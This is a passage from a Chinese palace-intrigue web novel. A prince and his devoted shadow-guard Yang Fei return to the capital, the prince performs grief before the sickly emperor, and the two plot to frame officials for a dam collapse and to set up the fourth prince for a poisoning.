杨妃的耳尖动了动,伪装成商队员工的同僚们一边赶着路,一边尽职尽责地守卫王爷的安全,而他这个统领…… 在马车里享受着他们保护目标的“服侍”。 杨妃眼睛一闭,才微微张嘴王爷就将那块苹果怼了进来。 寿命减一。 他恍惚中好像看见自己的眼前飘过了这样一串字,咀嚼的动作都有些麻木。 这也太折寿了。 王爷一块一块的喂,杨妃一块一块的吃,吃完了之后王爷竟还不满足,又是端茶又是倒水,而后竟然还想给杨妃捏肩。 “往日里你给我捏了数次,我虽没学过可也是见过的。”王爷在杨妃面前晃了晃他那双白嫩从未干过活的双手,一边说着一边就要往杨妃身上靠。 “机会难得刚好也叫你体验一下我的水平,马车上没人,也好叫我熟练熟练这个新身份。” 当王爷的手放在杨妃的肩膀上时,他真是用尽了自己此生所有的克制力,才没像兔子一样一蹦三尺高。 “主子——” 杨妃真的要装不下去了,他往后退了又退,整个人就缩在马车的角落里,恨不得直接消失。 “且饶了属下吧……” 他不敢大声声张,只小小声地说,双手交叉挡在身前,皱着眉头带着一点哀求的样子。 “噗。” 王爷瞧着他这一副又受气又受惊的样子,脑子里想象的是杨妃原本的模样还觉得怪可怜的,可看见的却是一副宛若暴发户的富商。 搭配着这表情竟带着一丝好笑。 “不成想竟然是你先做出了那种不符合身份的事。”王爷悻悻然地收回了手,对着那一张委屈的脸他也做不到视而不见,磨磨蹭蹭地后退了两步,“如此看来,竟是我装的更好些。” 杨妃:…… 杨妃瞠目结舌地看着王爷,心说王爷虽然确实多了一张脸在脸上,但也没有必要真的修成一副厚脸皮吧? 他是怎么理所当然的说出这种倒打一耙的话的? 杨妃震惊,但杨妃没招。 王爷都这么说了那他只管点头承认便是。 好在王爷吃了示弱这一套,也可能是王爷折腾这一番,把自己折腾累着了,后面这半路他们俩一人坐在一侧闭目养神,王爷还小睡了一觉。 杨妃听着王爷平稳的呼吸心里松了一口气,他撩开帘子对驾车的影卫疯狂地比了几个手势,驾车的影卫也不含糊使尽了浑身解数尽量平稳又快地驾着马车迅速赶路。 不快不行啊。 再这么下去几天他没等和敌人过招,就先被自家王爷给折腾死了。 这也就是条件不允许,若是不怕惹人注目杨妃甚至想让影卫的同僚们像是抬八抬大轿那样直接抬着马车,用着轻功赶路。 最好在王爷醒之前闪现到京都。 也就是他想想罢了,杨妃竖着耳朵听着,他们离京都越近碰到的那些乔装打扮的探子就越多,他都快数不清有多少人悄悄地靠近他们这车队翻看了多少次他们的货物,也几乎数不清有多少人悄悄地吹起车帘看里面的人。 好在他们的伪装还不错,也算是成功地瞒山过海。 不过…… 他明显能感觉到离京都越近打探商队的探子水平越高,想必他们这一队人要是想一直隐瞒到京都是很难的。 希望对方不要派太多的人过来。 杨妃由衷地祈祷京中的形势还在陛下的掌控之中,若是对方拿了皇城军来堵截他们,那可就糟了。 第74章 事情没有像杨妃预想的最糟糕的那种情况发展,甚至可以说一切顺利的不像话。 日升月落地过了五天,杨妃甚至都习惯了王爷用新身份探索各种各样的新鲜事,用各种新鲜事儿不定时不间断地挑战他的神经。 王爷现在做出什么事来他都不觉得稀奇了。 还有什么事能比王爷坚持要像喂小孩那样的,一勺一勺地喂他喝粥更见鬼的是呢? 短短五天时间,杨妃就被磨练成了一副心如止水的模样,终于将这种煎熬的日子过到了头。 伪装成商队的杨妃一行人风尘仆仆地来到了京城脚下,遇到了他们这一路以来真正意义上的第一个麻烦。 那就是京城戒严了。 京城外的人排成了长队,静悄悄的没一个人说话,打前站的影卫们将这里的情况传了回来。 京中一定发生了变故,杨妃无比肯定,心中尤其担忧。 这种直接叫皇城司将京都包围起来的情景让他不免担心他们是不是回来晚了。 “听说是前几日陛下上朝下令为迎接使团进京戒严,严查往来行人保障京都安全。” 迎接使团? 杨妃的脑门上缓缓敲出一个问号,他就没听说过这么借口的借口。 有使团来访也不是一次两次了,这一次闹这么大阵仗恐怕也只是为了遮掩陛下糟糕的身体状况吧。 不过既然陛下还有精力上朝,那就说明身体情况应当在控制之中,京中局势也没完全脱离那位陛下的掌控。 这其实是个好消息。 这一路上他总是担心等他们千辛万苦地回了京都,这京都已经成了某位皇子的一言堂了。 看来上天还是疼惜他家王爷的。 杨妃瞧了一眼若有所思一派淡定的王爷,也跟着冷静下来。 “现在进程极其严苛,恐怕我们这些人很难通过核实。”探路的影卫表情难看,他们这一行人手上的路引就没一个人的是真的。 若是平常的城池倒是能糊弄过去,可现在的京城那些守卫军的路引都是一式三份的,他们手上的在x那些守卫军手上根本找不到一样的,一上前去就必定露馅。 看来他们想悄无声息地进京定然是不可能的了。 “罢了。天意如此。”王爷叹息一声佛修掸了掸他那身粗布衣衫的下摆,“本王是想低调的,不过天意难违,看来是得张扬一回了。” 呼—— 杨妃长呼出一口气,他当然懂王爷的意思,远远地望着那一座巍峨的城墙竟有些激动。 “将主子的旗帜挂起来!” 京城的那些老贼!你的王爷回来了! 压抑着即将爆棚的激动的心,杨妃三下两下地就把自己脸上的易容卸了下来,然后细心又温和地揭去王爷脸上那张假面,沾了些温水一点点擦拭王爷有些泛红的脸。 虽说王爷当小厮的这段时间,杨妃备受折磨,但他也得承认,有那么一瞬间被王爷投喂水果的时候他也觉得挺爽的。 限定版的身份必然一去不复返了,临到此时杨妃竟然觉得有点可惜。 浸湿的帕子擦过王爷的眉眼,他的手竟然微微颤抖。 此次进京…… 是龙是蛇必然有个分明。 他的王爷一定能赢。 影卫们的办事效率一如既往,没过多久所有人就装扮妥当,朴素的粗布衣裳换成了王府侍卫的制式服装,王爷的大旗已经插在马车上迎风飘扬。 除了拉车的马还普普通通,多少有点配不上王爷的排面之外,他们现在这一行人一看上去就不好惹了。 最后的休整时间,杨妃将自己的刀抽出来磨了一次又一次。 他总得做好最坏的打算,就算是杀进去,也得给王爷开出一条康庄大道来。 但愿门口的守卫识相些。 马蹄声整整齐齐,人都不需要到城门口,微微震颤的路面就已经向城门守卫传达了来者并不一般的讯息。 当杨妃一马当先地在守卫军面前勒马而立时,这些神情紧绷的守卫们已经抽刀在手,一旦见势不妙就可以吹响号角召集军队了。 “王爷当面,尔等安敢拦截?” 象征王爷身份的令牌被杨妃举在手里,他甚至都没下马,只盯着那些守卫的一举一动,另一只手握在刀把上蠢蠢欲动。 这消息和令牌属实震惊了这些人,京城中暗流涌动带来的危险气氛不是没有人察觉,引起暗流的皇子们也是所有人关注的目标。 如今四皇子被关了禁闭门口那么多人守着,必然不可能出现在城门口,可五皇子又照看陛下的身体又要关注军务,公务繁忙也不曾出门。 那能出现在门口的…… 也就只有被传已经丧命的那位了吧? 守卫们彼此对视了一眼,他们是微不足道的小人物可不想掺和进这些天潢贵胄之间,当下竟然连确认真假的心思都无,毕恭毕敬甚至带着些讨好地对杨妃说他们不能做主,需要通报上官。 杨妃当然不为难他们,平静地骑在马上看着这两个守卫脚步匆匆地跑进去,又带着一个身穿铠甲的小将,脚步匆匆地跑过来。 这下杨妃才是真的放心了。 他们竟然能毫无波折地进城,那就说明皇帝的掌控力还没有减弱太多。 如此甚好。 王爷的车队越过了所有人在等待进门的这些人的注视下马蹄哒哒哒地走进了门,又快马加鞭的回了王府。 不知道是不是杨妃的错觉,没了王爷在的王府看上去竟然有两分破败。 他盯着王府门口那几个落了灰的红灯笼,眉头拧的死死的。 倒是身边的浅云拍了拍他的肩膀,很是隐晦的给他比着手势。 【咱王府没挂白幡都已经是我们努力的结果了,就别管那些没什么大碍的浮灰了。】 【王爷现在既然已经回来了,底下那些干活的都用不着咱们去催,一个个自然就得紧着皮干活了。】 所以说就是那些人都以为王爷再也回不来了是吧? 杨妃的手有些痒,不由自主的在刀柄上摩挲了一遍又一遍,身上的杀气一阵又一阵的往外冒,被浅云又怼了两下才压着怒气踏进了王府的门。 【是谁有那个胆子敢在王爷的王府上挂白幡?】 王爷生死未卜,那个对王爷的生死好像不怎么在乎的皇帝都得派一队人马,装模作样地去搜寻王爷的下落呢,这王府上所有人都仰仗王爷的鼻息过活,竟然胆敢挂白幡来诅咒王爷! 杨妃冷哼了一声,不管是谁,当他有这个心思并打算做的时候就应当是个死人! 如今他回来了,也正好将这事儿办了。 【你傻掉了?】 浅云一把将杨妃抽出来一截的刀按回去,做贼似的左右看了看,发现所有人都在忙忙碌碌地位王爷的回归做准备没人注意到他们时,才松了口气。 【你什么时候这般冲动了?】 【动动你的脑子啊!】 浅云真的很想跳起来,重重地敲一下杨妃的脑壳,看看他之前那个灵光的脑子是不是被洪水冲走了,又或者是脑子里多了那些奔腾的洪水。 【这王府里王爷不在,还有谁敢下命令?】 是啊。 杨妃的脸色当即就冷了下来。 这王府里恰巧有一位既能下命令,又对王爷万般不顺眼,恨不得除之而后快的人。 王妃可真是好样的! 也是。 她都能直接当王爷死了,给自己的母家寄信想找下家,区区一个流程上的白幡有什么做不得的? “想那么多干嘛?”浅云很是淡定地拍了拍杨妃的肩膀,“现在有的事要紧的事要去做,她在我们这都排不上号,只盯着就行了。” “你有空想这个,还不如赶紧去准备准备。王爷这次大难不死顺利回京,肯定是要马上去见陛下的。” 浅云说着说着脸上升起两分得意,双手交叉环抱在身前,站在杨妃面前扬起下巴。 “陛下可是病了,咱们的王爷又是万中无一的孝子,仁孝那是整个京城里都出了名的。” “这回京的第一件事定是少不了关心一下陛下的身体。” 他颇带暗示性地对杨妃挑了挑眉,“引荐个医师给陛下瞧一瞧……岂不是人子的应有之义?” 杨妃:…… 这人都快把得意写在脸上了!也亏得他克制力好,不然真的很想一拳揍上去。 会医术很了不起吗? 影卫们都是手上见真章,有本事和他演武场里打一场—— “你想让我做什么?”杨妃很是丝滑地压下心中的思绪,诚恳地问。 “我刚好缺了一个提药箱的小药童,你虽然看上去老了些……”他极其冒昧地上下扫着杨妃,“但也勉强能看得过眼,可以一用。” 嘎巴。 杨妃攥紧了拳,手关节咯吱作响,说的话却温和,“好的呢。” 要不是担心王爷皇宫一行的安全,他是绝对不会被浅云拿捏的! 也就这一回了! 虽说杨妃和王爷的默契世间仅有,但其他影卫和王爷也不是一点默契都没有。 在进宫和带医师这方面浅云料的一点都不差。 当王爷穿着王爷的常服又一次踏上王爷的专属马车时,杨妃已然换成了一副药童的装扮,拎着又大又重的药箱子亦步亦趋地跟在浅云身后。 他觉得浅云这家伙就是在消遣他,故意弄了个大箱子,又往里面放了一堆不知道能不能用得上的东西,只为了好好享受一番使唤他的滋味。 他最好能用得上。 杨妃暗自磨牙,在皇宫门口看着王爷先一步下了马车带着太监进了城门。 他看着他们几个的背影,瞧着朱柿装太监那一副熟练样儿后知后觉。 失策。 他一定是被愤怒冲昏了头脑,竟然答应了浅云的鬼话! 装什么不好偏装个小药童,这会儿又进不去只能在这里干等着,更心焦。 他就应该直接办成太监的! 这会儿就跟着王爷一起进宫了! 可恶啊! 杨妃狠狠地用眼神挖了浅云,心中悲愤。 今天要是他没能进去这个皇宫,他就势必让浅云知道什么叫做影卫之中第一人! 第75章 皇宫里的这条路,王爷都数不清他走过多少次。 但这一次是不一样的。 王爷的心情和之前的每一次都不同。 可能是他觉得自己的身份很快就要有变化了吧。 之前每一次走在这条路上,他都是一个仰仗着陛下存活的皇子。 但这一次…… 他知道他们兄弟之间争的头破血流的东西,很快就有了结论。 当他再一次走在这条路上,他猜测自己要么是阶下囚,要么是这里的主人。 王爷昂首挺胸,临到大殿时嘴唇颤抖着,换上了一副悲怆的模样。 他被传唤入内,人还没来得及仔细瞧瞧他那个父皇到底病成了什么脸色,直接x就丝滑的扑倒在地上,眼泪用不着准备就哗哗的往外流。 他这个儿子可被人害惨了! 他这个儿子可险些被人害死了! 那洪水好冷好大啊! 皇帝爹他好怕啊! 王爷压根不需要他那个爹如何配合他的表演,他只管全心全意地演出。 今天在这里他首先就是一个备受欺负的儿子,等什么时候他不管不顾的发泄完了,他什么时候才有心力去关注一下这个,因为身体状况在京都闹得沸沸扬扬的好爹。 他这会儿极其豁得出去,哭着哭着就坐在了地上,念唱做打俱佳,只管将自己一路上受的委屈往大了说,往惨了说。 尤其是他到底是怎么从堤坝上跳到水里的、又是怎么被人埋伏的、甚至还有添油加醋地险些被人抓去挖金矿的虚假经历。 走在皇宫的这一路上王爷思考了许多,他这一路上着实受了不少的委屈,不多得些好处,或者让其他人多落些错处,他便是睡觉也不能安心。 思来想去,王爷觉得自己这一路上那叫一个兢兢业业完成父亲的嘱托,一点多余的私事都没有做,所作所为那叫一个坦坦荡荡,无愧于天地。 既然如此…… 他为什么不把自己真的当成一个需要亲爹撑腰的好儿子呢? 王爷深知这个爹对他的每一个儿子都不满的很,但这个爹又很是别扭地想做一个合家美满的家主。 那他就不能把自己那些抽丝剥茧猜到的真相和怀疑对象说给他的爹听了。 王爷心中冷笑,有时候也挺服他们这一家子人的。 他们可真不该在这京都里做什么皇公贵族,就该去那戏台子上唱戏去。 王爷保证以自己的水平能做个名角,指不定比现在的身份还要声名赫赫。 他可以说是将自己这辈子的眼泪今日都流干了,一路上的所有发现所有遭遇他知无不言,言无不尽,尽无不添油加醋,主打一个不将他的好爹气死不甘心。 王爷没有抬头,但他能感受到落在自己身上那越来越冷的目光,和整个空间越来越压抑的氛围。 有些话他们之间不必说尽。 谁还不知道谁是个什么东西了? 其实除了五皇子对皇位也有觊觎,甚至已经开始动手并很有可能是目前最大得利者这件事超出王爷的想象之外,其他一切都没有什么可惊讶的。 想必皇帝也有这种感觉吧。 王爷只管将来自亲爹的低气压视若无物,心中有多嘲讽只有他自己知道。 他这个爹可是对这个混血的五皇子信任非常,不光能让他领兵委以重任,甚至连那种代天子亲耕都能叫他去做,想必这一次他也开始怀疑五皇子了吧? 哈哈。 他们可真是相亲相爱的一家人啊。 这场父子重逢的大戏在陛下突然爆发,接连不断的咳嗽声中转入了第二阶段。 沉浸在哀伤表演之中的王爷嗖的一下抬起脑袋,又红又肿还沁着泪珠的眼睛蹙着眉死死盯着两鬓已经斑白、面色看上去也不甚健康、拄着桌子咳嗽个不停的皇帝。 他震惊又惊恐地向前膝行两步,声音中带着他自己都觉得做作得难以置信,“父皇——” “您这是怎么了?父皇?”王爷的声音越发哽咽,他几乎要扑到了陛下身前,声嘶力竭,“快传太医——” 说实话,有那么一瞬间,王爷觉得自己演的可能有点过了,他感觉自己这最后一声传太医用在陛下真的咽气的时候才叫恰当。 现在情绪给的多少有些夸张了。 果不其然,被他这一嗓子吓了一跳的皇帝没好气地瞪了他一眼,咳嗽的更厉害了,也没忘记摆手叫住了将要出门传太医的太监。 “朕无事。” 皇帝没用多长时间就重新将自己稳住了,不管他真实身体状况如何糟糕,反正状态上倒是拿出了老当益壮的样子。 他的儿子们个个正当壮年,个个有使不完的牛劲花不完的野心,他这个爹怎么能先一步老去呢? 皇帝有自己的心气儿,这会儿看向王爷的眼神依旧威严,和他说出的话可一点都不搭。 “我的儿……”他的目光中装不出来多少温柔,“你这一次逢遭大难,父皇也痛在己身。” 他这话说的,好像王爷之前告的那些状他都没听见一样,王爷一边听着一边装着感动,借着抬袖抹眼泪的功夫狠狠地翻了两个白眼。 狗东西。 他暗骂道。 这狗东西一定早就有所怀疑,只是他不想管,便装作什么都没发生,又或者现在甚至想着让他这个苦主将所有的事都咽下。 要不怎么说王爷和皇帝是亲父子呢,皇帝还没说出口的话,王爷就已经猜得差不离了。 “我的儿这次实在是受了委屈,朕定要为你做主。” 皇帝很是平静地说,“这一桩决堤之案就由你来亲自审查,朕这就下令让军队带着幸存的活口返京。” “如何处置便皆由你做主。”皇帝伸手拍了拍王爷的肩膀,很是信任又重用他的样子,“便是诛九族也不为过。” 王爷:“……” 王爷真的是拿出自己毕生的涵养,才没直接在亲爹面前骂出声来。 妈的。 他衣袖下的手攥得死紧。 这还有什么可查的? 皇帝不是已经心知肚明了吗? 他就是不想管—— 明摆着他压根就不想将这事查在任何一个皇子身上,只想着将知情人士灭口,免一个他还不满足,他还要灭人家九族! 王爷瞅着他爹那张憔悴的脸,恶狠狠地暗中诅咒,由衷的希望他早登极乐。 不过事已至此,他也没办法当面锣对面鼓的和自己的爹对抗,当下哽咽地点头,甭管心里妈的多大声,表情上肯定是感动的。 他这也算是彩衣娱亲了吧。 王爷安慰自己,给自己的亲爹演了这么长时间的戏怎么能不算呢? 他可太孝了。 现在他这个大小子需要关注一下亲爹的身体健康了。 “父皇!儿臣能活着回来见父皇已经是饶天之幸,其他的都不重要了。”他紧张兮兮地上下扫视着自己的父皇,心中估摸着他还能活多长时间。 “倒是父皇——孩儿这段时间不曾相见,怎么竟然病了?” 王爷说着说着悲从中来,这狗东西在京中金枝玉叶的养着,但凡有一点异样伺候的人数都数不过来。 而他这一路上风餐露宿,饥一顿饱一顿的,又失忆又被水淹,那叫一个真真正正的九死一生。 结果亲爹没说关心一下他的身心健康,反倒让他这个倒霉蛋来关心了。 天理何在啊?! 人真心难过,情绪上便也带了两分真意,甭管王爷到底是因为什么伤心,反正皇帝听上去倒是这个儿子真的很关心他这个父亲了。 这怎么能说不是一种美丽的误会呢? 他们俩都皆大欢喜了。 “儿子多日不曾面见父皇,此刻甚是想念,不如父皇就留儿子在宫中侍疾吧。” 王爷俨然是一副不伺候自己亲爹就难受的样子,谁也看不出来他心里的小人儿摇脑袋摇得都像拨浪鼓了。 这世界上能让他心甘情愿伺候的人除了他的亲娘,也就只有杨妃了。 不要以为他乐意给杨妃端茶递水,切苹果亲自喂,就代表他也想给别人这样做啊。 至于亲爹—— 他不是有的是儿子和妃嫔吗? 他得兄友弟恭啊,怎么能和自己的兄弟们抢? 王爷嘴上说的再诚恳,心里却没有一点乐意的,皇帝面上倒是对自己儿子的孝顺十分欣慰,心里却也老大不乐意。 他可心知肚明这几个儿子对他屁股底下的椅子有什么想法,又自觉现在身体状况不佳,卧榻之侧,岂容他人酣睡。 他只怕自己将王爷留在皇宫之中死的更快。 于是他很是欣慰地上次的王爷不少好东西,又夸他孝顺,又说自己的身体状况无碍只是偶感风寒,当下只期盼自己的儿子们能为自己分忧。 那是只字不提将王爷留在皇宫的事,王爷也乐得不继续说下去,顺水推舟地转移话题。 “那可真是吓死儿子了,而进京时看到京中戒严,多有流传说父皇身体状况欠佳,更有大逆不道者……” 王爷没继续说下去,给他亲爹留了充足的想象空间,“儿也是慌乱之中失了分寸,今日来竟还带了医师,不过如今瞧着父皇照旧精力充沛,可见是儿想多了。” 皇帝听到京中流传时,面色就不甚好看,他很想发怒,但转念一想,王爷却又是实打实的才从洪水中幸免于难,京城发生的事也与他都不相干,这才压下了怒气。 “你这些日子不曾上朝,不曾x知晓,最近边关可实是不太平,他们又蠢蠢欲动了。” 皇帝将所有的事都推到外族身上,沉吟了片刻,“使团不日即将抵达京都,战不战便与使团密切相关,此事朕就也交给你了。” 王爷乖乖点头,感谢陛下对他的信任,实际上很无语。 他是真的大病初愈啊喂! 不要又把水坝判案的事、又把使团进京的事全都交给他啊! 怎么? 是觉得你那个备受信任的五皇子完全不能相信了吗? 第76章 进皇宫时两手空空,离开皇宫时也两手空空。 倒是王爷身后的太监提着陛下赏赐下来的东西险些都要拿不动了。 而王爷本人则是带走了他并不想干的任务。 哎。 王爷叹息了一声,这脏活他真是一点都不想干,他能不能直接下令说河坝损毁乃是天灾与人无关,然后直接赦免了那几个倒霉的被皇帝选中需要背黑锅的人。 也好叫他自己积一积德。 可惜不行。 王爷看着巍峨的宫门,赤红的丹砂将宫门涂的鲜艳。 说不定这里面就是用人血合的,王爷不着调地想着。 他那个好爹嘴上说着,叫他去调查河坝损毁一事,说着无论如何处置都由他自己做主。 还独独点出了他就算是想诛人家九族都可以。 听上去倒是个体贴的好父皇。 实际上也就是他自己不想担这个诛九族的杀孽,怕损了他那不知道有多少的明君名声,将一切都推到自己这个苦主的身上。 最后弄了个报仇的名头,倒显得他自己心胸狭隘,睚眦必报了。 王爷恨得牙痒痒也无可奈何。 谁叫他目前还不是皇帝呢? 这个王爷他也真是受够了。 他到底什么时候能干掉所有的竞争对手顺利登基,然后好迎娶他心心念念的杨妃做中宫皇后? 王爷远远地就看见拎着药箱站在马车一侧,一副药童打扮的杨妃,郁闷的心情都去了大半。 他也太幸福了吧! 王爷露出一个笑容来。 无论他在宫里受了多大的气,只要出了门能见到自己心心念念的人,便也不觉得有多难过了。 难过的人变成了杨妃。 他和浅云乖乖地在宫门前等着,就等着听里面的太监传报,让他们去给皇帝看病。 他俩甚至还暗中琢磨了一番,怎么当着皇帝的面汇报病情,到底是将本来不怎么严重的病说的严重一些,好直接以此为借口留在皇宫之中伺机动手,还是说病情本来就严重,他们说的简单一些,直接让皇帝一命呜呼。 他们俩倒是对各种情况分析了一次又一次,自觉已经将所有的意外都考虑在内,保证让王爷如愿以偿。 可却没想到没等来传旨的小太监,到等来了拎着一堆赏赐,带着一堆人款款而来的王爷。 杨妃真的郁闷极了。 他就不该信了浅云的鬼话! 这下好了,连皇宫的大门都没走进去! 敢情准备了一番就站在这里吹冷风了! 他真的悔。 下次一定要吸取教训,太监这个身份就非常好用! 杨妃有点嫉妒地看着抬着大箱子跟在王爷身后的朱柿,没想到这家伙平常看上去脑子好像不大灵光,却也有闷不吭声选择正确的时候。 是他将他小瞧了! 瞧见了杨妃的王爷连脚步都有两分轻快,倒是苦了身后提着东西的人得迈大步才能跟上王爷的节奏。 给皇帝看病的计划没有得逞,杨妃也只是最开始郁闷了一下,但转念一想又觉得理所应当。 堂堂皇帝怎么能轻易让其他人了解他的身体状况呢? 尤其是还被王爷认为对自己有威胁的人,杨妃换位思考,要是他的话可能不仅不会让其他人来看自己的病,还会怀疑这人到底是何居心。 停在宫门口的马车载着满满的人和赏赐又往王府里去了。 王府的下人瞧见了赏赐倒十分欢欣,对他们来说这就是王爷依旧受宠的信号。 倒是杨妃满眼心疼地瞧着王爷。 他就知道皇宫不是什么好去处,下一次绝对得跟紧了王爷的脚步,这样的失误可不能有第二次了! 都赖浅云那个家伙!三句两句的就将他绕进去了! “主子。” 杨妃抿着嘴,想问一下皇帝到底对他家王爷做什么了,但又怕触及王爷的伤心事,一时间竟然不知道说什么好。 他家王爷在皇宫里到底遭了什么样的罪啊? 这眼睛都红肿了,眼角好像也被擦破了皮,眼睛中的红血丝到现在都不曾褪去。 他家王爷刚刚大病初愈,又一路上风尘仆仆,皇帝不怜惜他家王爷也就罢了,怎么还能欺负他? 杨妃愤愤不平,王爷却不甚在意。 他将宫里的事简单说了,只字不提他是如何彩衣娱亲耗费精力地和皇帝演戏的,他要脸。 在心上人面前王爷还是有些形象上的小坚持的。 最终王爷只说了皇帝交给他的任务。 使团一事倒还好办。 如何接待早有旧例,他只需要和负责此事的官员沟通,在其中顶多也就是个吉祥物的作用。 唯一让他心里觉得难办的是堤坝被毁一案。 这是他们心知肚明。 堤坝被毁多半就是五皇子搞的鬼。 可目前情形明朗,皇帝的心意也明朗。 这件事必须要和五皇子无关。 可和五皇子无关的话,堤坝是怎么毁的呢? 那就只能是建堤坝的人中饱私囊,不尽心了。 此堤坝被毁,洪水倾泻而下,其下游已然成为一片汪洋,淹死的人不计其数,焚毁的房屋也数不胜数,如此大的罪孽归结到人身上。 若是真的,倒真得诛九族了。 可这是假的啊! 王爷头疼地捏了捏自己的鼻梁,他还记得当时自己发现堤坝没有任何偷工减料时有多惊讶,但他当时上奏折为河道总督表功时,也是真心的欣喜欣慰。 谁能想到…… 当时的那篇表功的奏折,此刻竟然也能成为河道总督的罪证之一呢? 欺瞒朝廷钦差。 太可笑了。 王爷这会儿竟然有点庆幸,河道总督及其所有家眷都在洪水中丧生了。 不然他就不仅得昧着良心,将所有的罪名都加诸到他的身上,还得亲自监斩他们一家了。 哎。 王爷很是心烦的喝了一口茶。 这件事他永远忘不了。 哪怕河道总督是四皇子的人,在各种意义上都是他的政治敌人,若他真的想杀河道总督的话,也绝对不会留手。 可一旦是皇帝逼着他污蔑这个河道总督,他怎么就心里这么难受呢? 而且这事还是他亲自着手去办,等他登基之后,想为河道总督平反都不行。 毕竟他总不能自打自脸吧? 王爷将他的烦心事独独说与杨妃听,说完了,心里也就松快了不少。 杨妃听了这些之后,倒没有像王爷那样自怨自哀,不过是区区栽赃陷害罢了,从前也做过不少,恐怕就连王爷自己也数不清他下过多少次这种类似的命令,今后自然也做得。 他知道这些,自然就听着王爷那些抱怨的话,百般觉得不自在。 要是他每次也像王爷这样想东想西的,恐怕他不等死在哪个敌人的手里,就先要自己郁闷死了。 这般想着,杨妃便又升起了两丝担忧。 从前王爷从未如此过,今天却生出这样的感慨,难道是脑子里受的伤还未好利索? 还是说这一次生死危机让王爷如鲠在喉,脑子也不大清醒了? 杨妃想不明白,他悄悄地看了一眼王爷,有些话也就只敢在心里想想。 其实他觉得王爷真正烦的不是去陷害河道总督,而是皇帝让他去陷害河道总督,归根结底,王爷就是讨厌皇帝罢了。 不过算了,这些对他和王爷来说都不重要。 他事事听从王爷的吩咐,王爷自然也没有办法反驳陛下,事情总归是要做的。 “主子。”河道总督全家已经命丧洪水之中,可背锅的不能光是死人,“如今河道总督已尸骨难寻,恐怕不能完全将这事一肩担任……” 所以我们在抓哪个倒霉蛋去承担这个罪过? “我们那位贴心的陛下已经替我们选好了。”王爷叹息了一声,心中也为那位背锅的倒霉蛋感觉一丝惋惜。 “和我们一起去的那位工部尚书家的小公子不是还活着吗?” 王爷瞧了一眼杨妃,此时这间屋子里只有他们两个,王爷也乐得说一些无关紧要的闲话,“倒是可惜了那位当日宴席之上连连作诗惊艳众人的小公子了。” 小公子? 杨妃愣了一下,但他很快就反应过来,王爷说的到底是谁,一时之间不由得面色古怪。 竟然是那个妖怪x吗? 杨妃的嘴角抽动了一下,倒不是因为要陷害一个妖怪,而是他在思考一件非常严重的事情。 这件事的背锅者是必须要死的,为了平息民愤,甚至这个人还必须死在大庭广众之下。 可那可是个妖怪啊? 哪怕是杨妃没有看过多少妖鬼之类的小说都知道妖怪这种东西,轻易是杀不死的。 这要是在刑场之下一刀下去,那妖怪的头没有落地可怎么是好? 杨妃想到了那诡异的场景,不由得劝上两句,“主子,那小公子在文人中颇有声名,若是就这样被冠上了罪会不会引起文人墨客不满?” 这是杨妃第一次在王爷面前为其他人求情,王爷很是诧异地抬头看着他,“就算他有再多的天赋,有再大的文采又能怎么样呢?” “君要臣死,臣不得不死,更何况他只是一介白衣,这件事落到最后说不定连他的名字都不配出现在那张抄家灭门的圣旨上。” 王爷这话说的有些冷酷,但杨妃也知道那是事实。 当日打探消息时,听说那妖怪被寻找王爷的军队扣留他就觉得奇怪,如今看来,是陛下早已经为他选择好了结局。 “今日先无须管这些,就且让工部尚书一家最后再睡一个好觉吧。” 王爷撂下茶杯为这件事下了定论,他能做到最大的仁慈,就是判他们全家一个斩首,也算给他们一家一个痛快,待日后到了黄泉也不至于太过难看。 “水坝一事,目前看来就需要止于河道总督和工部尚书了。”王爷思索了一下,看向杨妃的眼睛闪闪发亮。 “这件事和使团来京都不会有太大的变故了,倒是另一件事迫在眉睫。” 王爷说着说着目光便有些冷,他遥遥地望着一个方向,手里的茶杯竟然被他直接捏碎了。 “主子!”杨妃被这变故惊了一下,捏碎一个茶杯对他这等习武之人来说从来不是难事,可他家王爷那一双手何其金贵,这一下将这茶杯捏碎了,那碎瓷片就已然刮破了王爷的掌心,滴答滴答的滴在地上,看的杨妃心疼极了。 “主子重病初愈,怎么又受伤了?” 他上前两步强势地掰开了王爷的手指,拿出帕子擦拭着王爷掌心的血迹,给它清理瓷片的碎渣。 “王爷若是对谁有所不满,只管吩咐属下就是了,便是刀山火海,属下也竟然将那人的人头落地,何苦自伤到主子?” 杨妃这话说的真心实意极了,王爷这会儿在他眼里就是个随时会碎掉的瓷娃娃,尤其是现在正是夺嫡的关键时期,更是容不得主子有半点损伤。 杨妃的眉毛拧成一团,王爷见了却没有半点愧疚,反倒笑了起来,满足地很。 “好了。”受伤的王爷心情大好的安慰杨妃,“我只是一时分了神,手上失了分寸罢了,以后不会如此了。” 王爷保证道,又开始说起正事来,“这件事虽然不急于一日两日,但若想事成,现在也须得准备起来了。” 王爷收起了方才嬉笑的表情,重新严肃起来,“如今我回了京城,四皇子要被禁闭,五皇子虽被父皇怀疑,却也称得上如日中天。” “如今父皇又对我‘委以重任’,叫我将水坝一事全权推到工部和河道总督身上。” “他这明摆着就是要将水患一事完全从四皇子的身上摘出来,等我将这件事办妥了,就也是四皇子解除禁闭之时。” 解除禁闭? 杨妃听着这四个字怎么听怎么觉得不顺眼,虽说水患一事确实和四皇子没什么干系,但他和主子可是政敌,怎么倒霉他们都不会同情的。 相反,四皇子若是开始走运,他们才要头痛呢! 尤其是他走的运建立在他家王爷的心狠手辣之上! “主子打算如何解决四皇子?” 王爷当然也不想让他这个竞争对手就这样被放出来,和杨妃说起这些也是他心中已经有了打算。 王爷既然有想法,杨妃当然愿意效犬马之劳。 “既然这一次水患能让他禁闭在王府之中,那就让我这个好弟弟再多待些时日,最好永远都不要出来了。” “水患一事只能让他禁闭一时,还需要一件大事才能让他继续关下去。” 王爷和杨妃对视着,嘴角勾出一抹笑容,“那就是……对他的兄弟下毒。” 让四皇子对他的兄弟下毒? 杨妃心中骤然升起一种不妙的预感,睁大了眼睛看着王爷,由衷地希望他的预感不要成真。 “我们府上不正是有一个对四皇子情根深种的女子吗?”王爷字字句句都戳在杨妃的心窝里,“本王好吃好喝地养了她这么长时间,又由着她戴本王的绿帽子,由着她咒本王去死,还有着她与旁人同心想要另嫁。” “如今也正是用得着她的时候了。” 王爷冷哼了一声,将自己的计划全部都交给杨妃。 “此事交给别人去办,本王都不放心,唯有交给你,才万无一失。” “王妃不是对四皇子爱的死去活来么?想必她也很愿意为四皇子做一些事吧?” “之前本王音讯全无时,她那么殷切的期盼本王去死,恐怕现在瞧见了本王回来,心中也是百般不快。” “既然如此,本王便也积些德,这回就做一个好人,给她这个机会。” 